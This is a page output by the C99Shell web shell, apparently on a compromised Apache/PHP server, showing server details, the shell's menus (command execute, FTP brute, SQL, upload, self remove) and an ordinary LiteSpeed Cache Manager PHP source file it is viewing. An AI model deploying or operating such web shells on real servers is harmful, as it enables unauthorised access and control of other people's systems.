!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/lsws/add-ons/webcachemgr/src/Context/   drwxr-xr-x
Free 12.99 GB of 57.97 GB (22.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Context.php (8.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/** ******************************************
 * LiteSpeed Web Server Cache Manager
 *
 * @author LiteSpeed Technologies, Inc. (https://www.litespeedtech.com)
 * @copyright (c) 2018-2020
 * ******************************************* */

namespace Lsc\Wp\Context;

use 
\Lsc\Wp\LSCMException;
use 
\Lsc\Wp\Logger;

/**
 * Context is a singleton
 */
class Context
{

    const 
LOCAL_PLUGIN_DIR '/usr/src/litespeed-wp-plugin';

    
/**
     * @var int
     */
    
protected $isRoot;

    
/**
     * @var ContextOption
     */
    
protected $options;

    
/**
     * @var string
     */
    
protected $dataDir;

    
/**
     * @var string
     */
    
protected $dataFile;

    
/**
     * @var string
     */
    
protected $customDataFile;

    
/**
     * @var null|string
     */
    
protected $flagContent;

    
/**
     *
     * @var null|Context
     */
    
protected static $instance;

    
/**
     *
     * @param ContextOption  $contextOption
     */
    
protected function __constructContextOption $contextOption )
    {
        
$this->options $contextOption;

        
$this->init();
    }

    protected function 
init()
    {
        
$this->dataDir realpath(__DIR__ '/../../../..') . '/admin/lscdata';
        
$this->dataFile $this->dataDir '/lscm.data';
        
$this->customDataFile $this->dataDir '/lscm.data.cust';
        
$this->isRoot $this->options->isRoot();
    }

    
/**
     *
     * @since 1.9
     *
     * @return null
     */
    
protected function checkLocalPluginDirInCageFS()
    {
        
$mpFile '/etc/cagefs/cagefs.mp';
        
$mountFile '/proc/mounts';

        if ( !
file_exists($mpFile) ) {
            return;
        }

        
Logger::debug('Detected cagefs.mp file.');

        
$localPluginDir self::LOCAL_PLUGIN_DIR;

        
$pattern "=^((?!deleted).)*{$localPluginDir}((?!deleted).)*$=m";
        
$result preg_grep($patternfile($mountFile));
        
$procMountSet = ! empty($result);

        if ( ! 
$procMountSet ) {
            
Logger::debug("Data dir not set in {$mountFile}.");

            
$pattern="=^.*{$localPluginDir}.*$=m";
            
$result preg_grep($patternfile($mpFile));
            
$setInMpFile = ! empty($result);

            if ( ! 
$setInMpFile ) {
                
file_put_contents(
                    
$mpFile,
                    
"\n{$localPluginDir}",
                    
FILE_APPEND
                
);

                
Logger::notice('Added data dir to cagefs.mp.');
            }

            
exec('/usr/sbin/cagefsctl --remount-all'$output$return_var);

            
Logger::notice('Remounted CageFS.');
        }
        else {
            
Logger::debug('Data dir already added to CageFS.');
        }
    }

    
/**
     *
     * @throws LSCMException
     */
    
protected function createDataDir()
    {
        if ( !
file_exists($this->dataDir) && !mkdir($this->dataDir0755) ) {
            throw new 
LSCMException(
                
"Fail to create data directory {$this->dataDir}.",
                
LSCMException::E_PERMISSION
            
);
        }
    }

    
/**
     *
     * @since 1.9
     *
     * @throws LSCMException
     */
    
protected function createLocalPluginDir()
    {
        if ( !
file_exists(Context::LOCAL_PLUGIN_DIR)
                && !
mkdir(Context::LOCAL_PLUGIN_DIR0755) ) {

            throw new 
LSCMException(
                
"Fail to create local plugin directory "
                    
Context::LOCAL_PLUGIN_DIR '.',
                
LSCMException::E_PERMISSION
            
);
        }
    }

    
/**
     *
     * @return ContextOption
     * @throws LSCMException  Thrown indirectly.
     */
    
public static function getOption()
    {
        return 
self::me(true)->options;
    }

    
/**
     *
     * @since 1.9.1  Added optional parameter $loggerObj.
     *
     * @param ContextOption  $contextOption
     * @param object         $loggerObj      Object implementing all public
     *                                       Logger class functions.
     * @throws LSCMException
     */
    
public static function initializeContextOption $contextOption,
            
$loggerObj null )
    {
        if ( 
self::$instance != null ) {
            
/**
             * Do not allow, must initialize first.
             */
            
throw new LSCMException(
                
'Context cannot be initialized twice.',
                
LSCMException::E_PROGRAM
            
);
        }

        
self::$instance = new self($contextOption);

        if ( 
$loggerObj != null ) {
            
Logger::setInstance($loggerObj);
        }
        else {
            
$loggerClass $contextOption->getLoggerClass();
            
$loggerClass::Initialize($contextOption);
        }

        if ( 
self::$instance->isRoot == ContextOption::IS_ROOT ) {
            
self::$instance->createDataDir();
            
self::$instance->createLocalPluginDir();
            
self::$instance->checkLocalPluginDirInCageFS();
        }
    }

    
/**
     * Checks if the current instance is lacking the expected level of
     * permissions.
     *
     * @return boolean
     */
    
protected function hasInsufficentPermissions()
    {
        
$expectedPermissions =
            
self::$instance->options->getExpectedPermissions();

        return (
self::$instance->isRoot $expectedPermissions);
    }

    
/**
     *
     * @param boolean  $checkPerms
     * @return Context
     * @throws LSCMException
     */
    
protected static function me$checkPerms false )
    {
        if ( 
self::$instance == null ) {
            
/**
             * Do not allow, must initialize first.
             */
            
throw new LSCMException(
                
'Uninitialized context.',
                
LSCMException::E_NON_FATAL
            
);
        }

        if ( 
$checkPerms && self::$instance->hasInsufficentPermissions() ) {
            throw new 
LSCMException(
                
'Access denied: Insufficient permissions.',
                
LSCMException::E_NON_FATAL
            
);
        }

        return 
self::$instance;
    }

    
/**
     *
     * @return string
     * @throws LSCMException
     */
    
public static function getLSCMDataDir()
    {
        return 
self::me()->dataDir;
    }


    
/**
     * Deprecated 06/19/19. Shift to using getLSCMDataFiles() instead.
     *
     * @deprecated
     * @return string
     */
    
public static function getLSCMDataFile()
    {
        
$dataFiles self::getLSCMDataFiles();

        return 
$dataFiles['dataFile'];
    }

    
/**
     *
     * @return string[]
     * @throws LSCMException  Thrown indirectly.
     */
    
public static function getLSCMDataFiles()
    {
        try {
            
$dataFile self::me(true)->dataFile;
            
$custDataFile self::me(true)->customDataFile;
        }
        catch ( 
LSCMException $e ) {
            
$msg $e->getMessage() . ' Could not get data file paths.';
            
Logger::debug($msg);

            throw new 
LSCMException($msg);
        }

        return array(
            
'dataFile' => $dataFile,
            
'custDataFile' => $custDataFile
        
);
    }

    
/**
     *
     * @return int
     */
    
public static function isRoot()
    {
        return 
self::me()->isRoot;
    }

    
/**
     *
     * @return boolean
     * @throws LSCMException  Thrown indirectly.
     */
    
public static function isPrivileged()
    {
        return (
self::me()->isRoot ContextOption::IS_NOT_ROOT);
    }

    
/**
     *
     * @return int
     * @throws LSCMException  Thrown indirectly.
     */
    
public static function getScanDepth()
    {
        return 
self::me()->options->getScanDepth();
    }

    
/**
     *
     * @return int
     * @throws LSCMException Thrown indirectly.
     */
    
public static function getActionTimeout()
    {
        
$timeout self::me()->options->getBatchTimeout();

        if ( 
$timeout ) {
            return 
time() + $timeout;
        }

        
/**
         * No timeout.
         */
        
return 0;
    }

    
/**
     *
     * @return string
     * @throws LSCMException  Thrown indirectly.
     */
    
public static function getFlagFileContent()
    {
        
$m self::me();

        if ( 
$m->flagContent == null ) {
            
$m->flagContent = <<<CONTENT
This file was created by LiteSpeed Web Cache Manager

When this file exists, your LiteSpeed Cache plugin for WordPress will NOT be affected
by Mass Enable/Disable operations performed through LiteSpeed Web Cache Manager.

Please DO NOT ATTEMPT to remove this file unless you understand the above.

CONTENT;
        }

        return 
$m->flagContent;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--